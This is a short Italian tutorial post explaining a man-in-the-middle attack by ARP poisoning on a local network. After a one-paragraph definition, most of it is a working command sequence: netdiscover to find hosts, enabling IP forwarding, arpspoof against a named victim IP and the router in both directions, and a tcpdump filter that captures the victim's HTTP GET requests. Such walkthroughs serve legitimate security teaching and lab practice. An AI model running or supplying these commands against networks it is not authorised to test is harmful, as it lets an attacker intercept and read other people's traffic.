attacco man in the middle (spesso abbreviato in mitm, mim, mim attack o mitma, in italiano "uomo nel mezzo") è una terminologia impiegata nella crittografia e nella sicurezza informatica per indicare un attacco informatico in cui qualcuno segretamente ritrasmette o altera la comunicazione tra due parti che credono di comunicare direttamente tra di loro;

sudo netdiscover

;netdiscover scansiona le reti alla ricerca di host attivi attraverso le richieste ARP; si può utilizzare anche con l'opzione -r per passargli un particolare range di rate; es. 192.168.1.0/24


re@REBOP:~$ arp -e

;arp -e lista la ARP Table che contiene le associazioni ip <--> MAC


sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

;abilitiamo l'opzione che permette al nostro server di fare il forward dei pacchetti che riceve;

arpspoof -i eth0 -t <victim_ip> <router_ip>

;grazie ad arpspoof andiamo ad avvelenare le ARP table del pc vittima e del router; in questo modo invieranno ogni pacchetto all'host attacker;

sudo arpspoof -i wlp0s20f3 -t 192.168.1.9 192.168.1.1


sudo arpspoof -i wlp0s20f3 -t 192.168.1.1 192.168.1.9


sudo tcpdump -i wlp0s20f3 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' and src 192.168.1.9



;tcp[((tcp[12:1] & 0xf0) >> 2):4] questa opzione prima determina la location dei bytes a cui siamo interessati (dopo l'header TCP) e poi seleziona i 4 bytes che desideriamo matchare;

qui 0x47455420 rappresenta i valori ASCII dei caratteri 'G' 'E' 'T' ' '

Edited by Dr. Pepper - 30/10/2023, 12:16